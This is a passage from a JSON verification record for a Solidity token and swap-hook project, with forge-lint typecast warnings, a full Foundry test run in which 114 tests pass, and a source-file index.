why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:278:50\n    │\n278 │             o.integral += int64(int256(o.tick) * int256(block.timestamp - o.observedAt));\n    │                                                  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:280:69\n    │\n280 │             int256 integral = int256(o.integral) + int256(o.tick) * int256(boundary - o.observedAt);\n    │                                                                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:281:38\n    │\n281 │             int256 mean = integral / int256(BATCH_INTERVAL);\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:283:44\n    │\n283 │             if (integral < 0 && integral % int256(BATCH_INTERVAL) != 0) --mean;\n    │                                            ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:284:26\n    │\n284 │             o.meanTick = int24(mean);\n    │                          ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int24' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:287:28\n    │\n287 │             o.epochStart = uint64(newStart);\n    │                            ━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:288:26\n    │\n288 │             o.integral = int64(int256(o.tick) * int256(block.timestamp - newStart));\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:288:49\n    │\n288 │             o.integral = int64(int256(o.tick) * int256(block.timestamp - newStart));\n    │                                                 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:290:24\n    │\n290 │         o.observedAt = uint64(block.timestamp);\n    │                        ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\n","passed":true},{"durationMs":5518,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/MainnetFork.t.sol:MainnetForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 328.79µs (0.00ns CPU time)\n\nRan 3 tests for test/DustBatch.t.sol:DustBatchReverseOrderTest\n[PASS] test_batchPropagatesUnrelatedUnlockFailure() (gas: 335951)\n[PASS] test_tinyPositiveOutputPartialFillConsumesInterval() (gas: 527136)\n[PASS] test_zeroOutputBatchRollsBackAndLeavesIntervalAvailable() (gas: 891789)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 3.92ms (2.47ms CPU time)\n\nRan 4 tests for test/OracleLiquidity.t.sol:OracleLiquidityReverseOrderTest\n[PASS] test_batchLeavingLiquidityKeepsPreviousLiquidTick() (gas: 1153917)\n[PASS] test_batchTraversesEmptyRegionUsingLiquidReference() (gas: 1572322)\n[PASS] test_zeroLiquidityExcursionDoesNotDisablePermissionlessBuyback() (gas: 1952039)\n[PASS] test_zeroLiquidityTickDoesNotEnterHourlyReference() (gas: 1636393)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 9.37ms (10.16ms CPU time)\n\nRan 4 tests for test/OracleLiquidity.t.sol:OracleLiquidityTest\n[PASS] test_batchLeavingLiquidityKeepsPreviousLiquidTick() (gas: 1114192)\n[PASS] test_batchTraversesEmptyRegionUsingLiquidReference() (gas: 1584152)\n[PASS] test_zeroLiquidityExcursionDoesNotDisablePermissionlessBuyback() (gas: 1958339)\n[PASS] test_zeroLiquidityTickDoesNotEnterHourlyReference() (gas: 1643286)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 20.88ms (5.49ms CPU time)\n\nRan 3 tests for test/DustBatch.t.sol:DustBatchTest\n[PASS] test_batchPropagatesUnrelatedUnlockFailure() (gas: 330268)\n[PASS] test_tinyPositiveOutputPartialFillConsumesInterval() (gas: 521411)\n[PASS] test_zeroOutputBatchRollsBackAndLeavesIntervalAvailable() (gas: 879903)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 29.64ms (1.89ms CPU time)\n\nRan 7 tests for test/SettlementEdges.t.sol:SettlementEdgesTest\n[PASS] testFuzz_largestRepresentableRequestsPartiallyFill(bool,bool,uint8) (runs: 1000, μ: 386347, ~: 384014)\n[PASS] test_batchWorksWithAdditionalProtocolFee() (gas: 436653)\n[PASS] test_budgetDustAccumulatesUntilOneUnitCanBeSpent() (gas: 648659)\n[PASS] test_claimSettledSwapsKeepWalletsUnchangedAndChargeActualFill() (gas: 6536053)\n[PASS] test_failedBatchRestoresCooldownClaimsAndOracleThenRetries() (gas: 969350)\n[PASS] test_failedInputSettlementRollsBackFeesPriceAndOracle() (gas: 1124665)\n[PASS] test_failedSweepPreservesClaimsAndCanBeRetried() (gas: 768244)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 225.10ms (203.38ms CPU time)\n\nRan 7 tests for test/SettlementEdges.t.sol:SettlementEdgesReverseOrderTest\n[PASS] testFuzz_largestRepresentableRequestsPartiallyFill(bool,bool,uint8) (runs: 1000, μ: 391436, ~: 393643)\n[PASS] test_batchWorksWithAdditionalProtocolFee() (gas: 442897)\n[PASS] test_budgetDustAccumulatesUntilOneUnitCanBeSpent() (gas: 654996)\n[PASS] test_claimSettledSwapsKeepWalletsUnchangedAndChargeActualFill() (gas: 6570435)\n[PASS] test_failedBatchRestoresCooldownClaimsAndOracleThenRetries() (gas: 969048)\n[PASS] test_failedInputSettlementRollsBackFeesPriceAndOracle() (gas: 1121591)\n[PASS] test_failedSweepPreservesClaimsAndCanBeRetried() (gas: 779025)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 232.77ms (240.79ms CPU time)\n\nRan 1 test for test/SettlementEdges.t.sol:FreshPoolClaimsTest\n[PASS] testFuzz_firstBuyAccruesBeforeInputArrives(bool,uint64) (runs: 1000, μ: 470671, ~: 435000)\nLogs:\n  Bound result 10000000000000000000\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 232.81ms (212.07ms CPU time)\n\nRan 3 tests for test/BatchPriceLimit.t.sol:BatchPriceLimitTest\n[PASS] testFuzz_batchEndsWithinThreePercentOfSpot(uint96,uint16) (runs: 1000, μ: 617446, ~: 617423)\nLogs:\n  Bound result 3642\n  Bound result 99999000000001435136664\n\n[PASS] test_freshReferenceRoundTripControlLosesAfterFees() (gas: 757938)\n[PASS] test_staleReferenceRoundTripLosesAfterFees() (gas: 1024621)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 232.95ms (206.83ms CPU time)\n\nRan 1 test for test/SettlementEdges.t.sol:FreshPoolClaimsReverseOrderTest\n[PASS] testFuzz_firstBuyAccruesBeforeInputArrives(bool,uint64) (runs: 1000, μ: 508460, ~: 473171)\nLogs:\n  Bound result 9000000000758507503\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 244.55ms (243.28ms CPU time)\n\nRan 5 tests for test/NUKE.t.sol:NUKETest\n[PASS] testFuzz_conservation(uint256) (runs: 1000, μ: 86217, ~: 86525)\nLogs:\n  Bound result 436052675129360535575827113\n\n[PASS] test_entireFixedSupplyBelongsToDeployer() (gas: 44027)\n[PASS] test_factoryCanTransferAllAllocationsWithoutTax() (gas: 140535)\n[PASS] test_noAdministrativeSupplyMutation() (gas: 170405)\n[PASS] test_transferFailuresAndAllowance() (gas: 204623)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 244.64ms (245.24ms CPU time)\n\nRan 30 tests for test/NUKEHook.t.sol:NUKEHookTest\n[PASS] testFuzz_feeMatchesFill(bool,bool,bool,uint96) (runs: 1000, μ: 362863, ~: 360817)\nLogs:\n  Bound result 99000000000000000000127\n\n[PASS] testFuzz_oracleIntegratesMultipleObservations(uint16,uint16,bool) (runs: 1000, μ: 1119896, ~: 1118033)\nLogs:\n  Bound result 5\n  Bound result 491\n\n[PASS] test_batchCanCombineClaimsAndWalletFunds() (gas: 673163)\n[PASS] test_batchCannotRunInsideAnotherUnlock() (gas: 95615)\n[PASS] test_batchPartialFillKeepsRemainderAndNextBatchWorks() (gas: 483409)\n[PASS] test_batchSpendsQuarterAndBurnsWithoutHookFee() (gas: 1256581)\n[PASS] test_beforeSwapReturnsZeroDeltaAndNoLPOverride() (gas: 25074)\n[PASS] test_callbacksRejectUntrustedCallers() (gas: 136974)\n[PASS] test_cannotInitializeBeforePredictedHookHasCode() (gas: 10525967)\n[PASS] test_dustFeeRoundsDown() (gas: 356509)\n[PASS] test_emptyBatchAndOutsideLimitDoNotConsumeCooldown() (gas: 773379)\n[PASS] test_exactInputBuy() (gas: 356307)\n[PASS] test_exactInputSell() (gas: 361353)\n[PASS] test_exactOutputBuy() (gas: 356639)\n[PASS] test_exactOutputSell() (gas: 360807)\n[PASS] test_firstBatchRequiresOneHourAndInitializedPool() (gas: 23418086)\n[PASS] test_hourlyReferenceWeightsElapsedTimeAndFloorsNegativeTicks() (gas: 797610)\n[PASS] test_initializationRejectsOtherPoolsAndDynamicFee() (gas: 23592167)\n[PASS] test_largeRequestWithSmallPartialFill() (gas: 692026)\n[PASS] test_noLiquidityBatchDoesNotDeadlock() (gas: 314061)\n[PASS] test_offlineMinerMatchesActualCreate2Deployment() (gas: 18363305)\n[PASS] test_partialExactInputBuy() (gas: 356882)\n[PASS] test_partialExactInputSell() (gas: 362351)\n[PASS] test_partialExactOutputBuy() (gas: 355760)\n[PASS] test_partialExactOutputSell() (gas: 361129)\n[PASS] test_permissionlessSweepBurnsClaimsAndDonations() (gas: 686611)\n[PASS] test_permissionsAndDeployment() (gas: 2002796)\n[PASS] test_priceLimitIsThreePercentInPairPerToken() (gas: 37052)\n[PASS] test_unrepresentableRequestsUseExplicitError() (gas: 207739)\n[PASS] test_zeroLiquidityPartialSwapPaysNoFee() (gas: 405476)\nSuite result: ok. 30 passed; 0 failed; 0 skipped; finished in 244.66ms (437.10ms CPU time)\n\nRan 3 tests for test/BatchPriceLimit.t.sol:BatchPriceLimitReverseOrderTest\n[PASS] testFuzz_batchEndsWithinThreePercentOfSpot(uint96,uint16) (runs: 1000, μ: 612427, ~: 611809)\nLogs:\n  Bound result 6147\n  Bound result 99999000000000000003295\n\n[PASS] test_freshReferenceRoundTripControlLosesAfterFees() (gas: 769718)\n[PASS] test_staleReferenceRoundTripLosesAfterFees() (gas: 1018580)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 244.71ms (244.85ms CPU time)\n\nRan 30 tests for test/NUKEHook.t.sol:NUKEHookReverseOrderTest\n[PASS] testFuzz_feeMatchesFill(bool,bool,bool,uint96) (runs: 1000, μ: 368011, ~: 369286)\nLogs:\n  Bound result 99000000000000000000127\n\n[PASS] testFuzz_oracleIntegratesMultipleObservations(uint16,uint16,bool) (runs: 1000, μ: 1135090, ~: 1136997)\nLogs:\n  Bound result 6\n  Bound result 242\n\n[PASS] test_batchCanCombineClaimsAndWalletFunds() (gas: 678807)\n[PASS] test_batchCannotRunInsideAnotherUnlock() (gas: 95615)\n[PASS] test_batchPartialFillKeepsRemainderAndNextBatchWorks() (gas: 489273)\n[PASS] test_batchSpendsQuarterAndBurnsWithoutHookFee() (gas: 1262141)\n[PASS] test_beforeSwapReturnsZeroDeltaAndNoLPOverride() (gas: 25074)\n[PASS] test_callbacksRejectUntrustedCallers() (gas: 136974)\n[PASS] test_cannotInitializeBeforePredictedHookHasCode() (gas: 3403581)\n[PASS] test_dustFeeRoundsDown() (gas: 370363)\n[PASS] test_emptyBatchAndOutsideLimitDoNotConsumeCooldown() (gas: 784947)\n[PASS] test_exactInputBuy() (gas: 367072)\n[PASS] test_exactInputSell() (gas: 360588)\n[PASS] test_exactOutputBuy() (gas: 365968)\n[PASS] test_exactOutputSell() (gas: 361478)\n[PASS] test_firstBatchRequiresOneHourAndInitializedPool() (gas: 33425089)\n[PASS] test_hourlyReferenceWeightsElapsedTimeAndFloorsNegativeTicks() (gas: 813467)\n[PASS] test_initializationRejectsOtherPoolsAndDynamicFee() (gas: 33602352)\n[PASS] test_largeRequestWithSmallPartialFill() (gas: 709737)\n[PASS] test_noLiquidityBatchDoesNotDeadlock() (gas: 319313)\n[PASS] test_offlineMinerMatchesActualCreate2Deployment() (gas: 2831999)\n[PASS] test_partialExactInputBuy() (gas: 367347)\n[PASS] test_partialExactInputSell() (gas: 361886)\n[PASS] test_partialExactOutputBuy() (gas: 365921)\n[PASS] test_partialExactOutputSell() (gas: 360961)\n[PASS] test_permissionlessSweepBurnsClaimsAndDonations() (gas: 697376)\n[PASS] test_permissionsAndDeployment() (gas: 2002796)\n[PASS] test_priceLimitIsThreePercentInPairPerToken() (gas: 37146)\n[PASS] test_unrepresentableRequestsUseExplicitError() (gas: 207739)\n[PASS] test_zeroLiquidityPartialSwapPaysNoFee() (gas: 415301)\nSuite result: ok. 30 passed; 0 failed; 0 skipped; finished in 244.66ms (549.51ms CPU time)\n\nRan 1 test for test/Conservation.t.sol:ConservationTest\n[PASS] invariant_feesAreConservedAndNoDebtRemains() (runs: 128, calls: 8192, reverts: 0)\n\n╭---------------------+-----------------+-------+---------+----------╮\n| Contract            | Selector        | Calls | Reverts | Discards |\n+====================================================================+\n| ConservationHandler | advanceAndBatch | 2730  | 0       | 0        |\n|---------------------+-----------------+-------+---------+----------|\n| ConservationHandler | swap            | 2713  | 0       | 0        |\n|---------------------+-----------------+-------+---------+----------|\n| ConservationHandler | sweep           | 2749  | 0       | 0        |\n╰---------------------+-----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 6261\n  Bound result 5464\n  Bound result 5932\n  Bound result 30051859314863666912\n  Bound result 395529767964085126\n  Bound result 4264367968539631\n  Bound result 3901\n  Bound result 499999999999900002105\n  Bound result 3981\n  Bound result 417078266527\n  Bound result 5494\n  Bound result 4667\n  Bound result 499999999999900006061\n  Bound result 5344\n  Bound result 499999999999900000589\n  Bound result 7002\n  Bound result 499999999999900003564\n  Bound result 499999999999900015214\n  Bound result 3845\n  Bound result 5496\n  Bound result 3697\n  Bound result 5867\n  Bound result 499999999999900007348\n  Bound result 499999999999900004657\n  Bound result 4935\n  Bound result 499999999999900000026\n  Bound result 499999999999900000997\n  Bound result 423383856534443046182\n  Bound result 499999999999900005146\n  Bound result 3661\n  Bound result 19860026898806882001\n  Bound result 3092763434109610460\n  Bound result 499999999999900016947\n  Bound result 499999999999900007338\n  Bound result 3615\n  Bound result 499999999999900000132\n  Bound result 3625\n  Bound result 250278173210486302858\n  Bound result 3603\n  Bound result 6131\n  Bound result 499999999999900010760\n  Bound result 3843\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.54s (1.52s CPU time)\n\nRan 6 tests for test/StatefulAccounting.t.sol:StatefulAccountingTest\n[PASS] invariant_accountingAndReferenceSurviveArbitrarySequences() (runs: 256, calls: 24576, reverts: 0)\n\n╭---------------------------+-----------------+-------+---------+----------╮\n| Contract                  | Selector        | Calls | Reverts | Discards |\n+==========================================================================+\n| StatefulAccountingHandler | advanceTime     | 3573  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | batch           | 3484  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | donate          | 3466  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | forgedCallback  | 3624  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | sweep           | 3524  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | toggleLiquidity | 3484  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | trade           | 3421  | 0       | 0        |\n╰---------------------------+-----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 12\n  Bound result 11295\n  Bound result 402\n  Bound result 85\n  Bound result 1474\n  Bound result 16757\n  Bound result 526933484313829292643\n  Bound result 9205\n  Bound result 50\n  Bound result 11046\n  Bound result 811\n  Bound result 525\n  Bound result 548473890\n  Bound result 2594\n  Bound result 723718650217650744425\n  Bound result 97\n  Bound result 10757\n  Bound result 9\n  Bound result 12568866\n  Bound result 811792728265773313121\n  Bound result 13649\n  Bound result 44\n  Bound result 18171\n  Bound result 4\n  Bound result 248\n  Bound result 2500\n  Bound result 80\n  Bound result 16273\n  Bound result 3487524733\n  Bound result 2\n  Bound result 811\n  Bound result 10229\n  Bound result 5893\n  Bound result 176994379980907722851\n  Bound result 17415\n  Bound result 14331\n  Bound result 96\n  Bound result 6699\n  Bound result 6143\n  Bound result 44\n  Bound result 5825\n  Bound result 28\n  Bound result 17186\n  Bound result 42\n  Bound result 536\n  Bound result 3185\n  Bound result 1\n  Bound result 860\n  Bound result 112\n  Bound result 9\n  Bound result 42\n  Bound result 9374\n  Bound result 2118\n  Bound result 2700\n  Bound result 5632\n  Bound result 6157\n  Bound result 56\n  Bound result 473\n\n[PASS] test_handlerCanReverseAtAnEmptyTickBitmapBoundary() (gas: 800738)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 1\n\n[PASS] test_handlerExercisesPartialFillsDonationsCooldownAndLiquidityRecovery() (gas: 2328732)\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 1000000000000000000000\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 3600\n\n[PASS] test_handlerFundedZeroOutputBatchRetainsLiquidObservation() (gas: 1373288)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 3600\n  Bound result 4\n  Bound result 3600\n\n[PASS] test_handlerRetainsLiquidObservationAcrossEmptyRegionMovement() (gas: 1283235)\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 100\n  Bound result 900\n  Bound result 1\n  Bound result 100\n  Bound result 2700\n  Bound result 7200\n\n[PASS] test_handlerZeroBudgetDoesNotObserveRestoredLiquidity() (gas: 1886052)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 3600\n  Bound result 3600\n  Bound result 1000000000000000000000\n  Bound result 3600\n\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 5.27s (5.25s CPU time)\n\nRan 6 tests for test/StatefulAccounting.t.sol:StatefulAccountingReverseOrderTest\n[PASS] invariant_accountingAndReferenceSurviveArbitrarySequences() (runs: 256, calls: 24576, reverts: 0)\n\n╭---------------------------+-----------------+-------+---------+----------╮\n| Contract                  | Selector        | Calls | Reverts | Discards |\n+==========================================================================+\n| StatefulAccountingHandler | advanceTime     | 3573  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | batch           | 3484  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | donate          | 3466  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | forgedCallback  | 3624  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | sweep           | 3524  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | toggleLiquidity | 3484  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | trade           | 3421  | 0       | 0        |\n╰---------------------------+-----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 176\n  Bound result 14834\n  Bound result 16272\n  Bound result 43\n  Bound result 17002\n  Bound result 20243\n  Bound result 4930\n  Bound result 7294\n  Bound result 50\n  Bound result 9223372036854775807\n  Bound result 8123\n  Bound result 8538\n  Bound result 548473890\n  Bound result 2558\n  Bound result 10234\n  Bound result 27\n  Bound result 14262\n  Bound result 61\n  Bound result 2476\n  Bound result 8583\n  Bound result 12668\n  Bound result 44\n  Bound result 21735\n  Bound result 4\n  Bound result 758200981974435878842\n  Bound result 2500\n  Bound result 80\n  Bound result 15179\n  Bound result 3500914324\n  Bound result 11\n  Bound result 1777\n  Bound result 1454\n  Bound result 9725\n  Bound result 1262\n  Bound result 9708\n  Bound result 20969\n  Bound result 27\n  Bound result 4555\n  Bound result 9456\n  Bound result 44\n  Bound result 2233625728\n  Bound result 69\n  Bound result 18913\n  Bound result 42\n  Bound result 536\n  Bound result 10800\n  Bound result 1\n  Bound result 1923\n  Bound result 112\n  Bound result 4363\n  Bound result 42\n  Bound result 2515\n  Bound result 118\n  Bound result 2700\n  Bound result 9528\n  Bound result 9914\n  Bound result 75\n  Bound result 1044\n\n[PASS] test_handlerCanReverseAtAnEmptyTickBitmapBoundary() (gas: 799010)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 1\n\n[PASS] test_handlerExercisesPartialFillsDonationsCooldownAndLiquidityRecovery() (gas: 2305829)\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 1000000000000000000000\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 3600\n\n[PASS] test_handlerFundedZeroOutputBatchRetainsLiquidObservation() (gas: 1376932)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 3600\n  Bound result 4\n  Bound result 3600\n\n[PASS] test_handlerRetainsLiquidObservationAcrossEmptyRegionMovement() (gas: 1278471)\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 100\n  Bound result 900\n  Bound result 1\n  Bound result 100\n  Bound result 2700\n  Bound result 7200\n\n[PASS] test_handlerZeroBudgetDoesNotObserveRestoredLiquidity() (gas: 1888295)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 3600\n  Bound result 3600\n  Bound result 1000000000000000000000\n  Bound result 3600\n\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 5.43s (5.43s CPU time)\n\nRan 17 test suites in 5.43s (14.45s CPU time): 114 tests passed, 0 failed, 1 skipped (115 total tests)\n","passed":true},{"durationMs":53,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"NUKE.approve(address,uint256)\",\"NUKE.transfer(address,uint256)\",\"NUKE.transferFrom(address,address,uint256)\",\"NUKEHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"NUKEHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"NUKEHook.executeBatch()\",\"NUKEHook.sweep()\",\"NUKEHook.unlockCallback(bytes)\"],\"files\":{\".gitignore\":3,\"README.md\":104,\"dependencies.json\":26,\"dependencies.sha256\":82,\"docs/SECURITY_REVIEW.md\":32,\"foundry.toml\":13,\"launch.json\":21,\"remappings.txt\":4,\"script/MineHook.s.sol\":28,\"src/NUKE.sol\":11,\"src/NUKEHook.sol\":292,\"test/BatchPriceLimit.t.sol\":98,\"test/Conservation.t.sol\":108,\"test/DustBatch.t.sol\":104,\"test/MainnetFork.t.sol\":82,\"test/NUKE.t.sol\":75,\"test/NUKEHook.t.sol\":360,\"test/OracleLiquidity.t.sol\":124,\"test/README.md\":29,\"test/SettlementEdges.t.sol\":287,\"test/StatefulAccounting.t.sol\":377,\"test/helpers/ClaimActor.sol\":76,\"test/helpers/HookFixture.sol\":138,\"test/helpers/PoolActor.sol\":66},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"d90b3197416b9fe08d40f2c2967f704d3e29cdde6b808aae1c134f89b465b906","verifiedTreeHash":"c1f5238e768b1fd441f7566b84c7e4a7e0e9ae77","verifierVersion":"0.1.0+ad90ce4c"}]}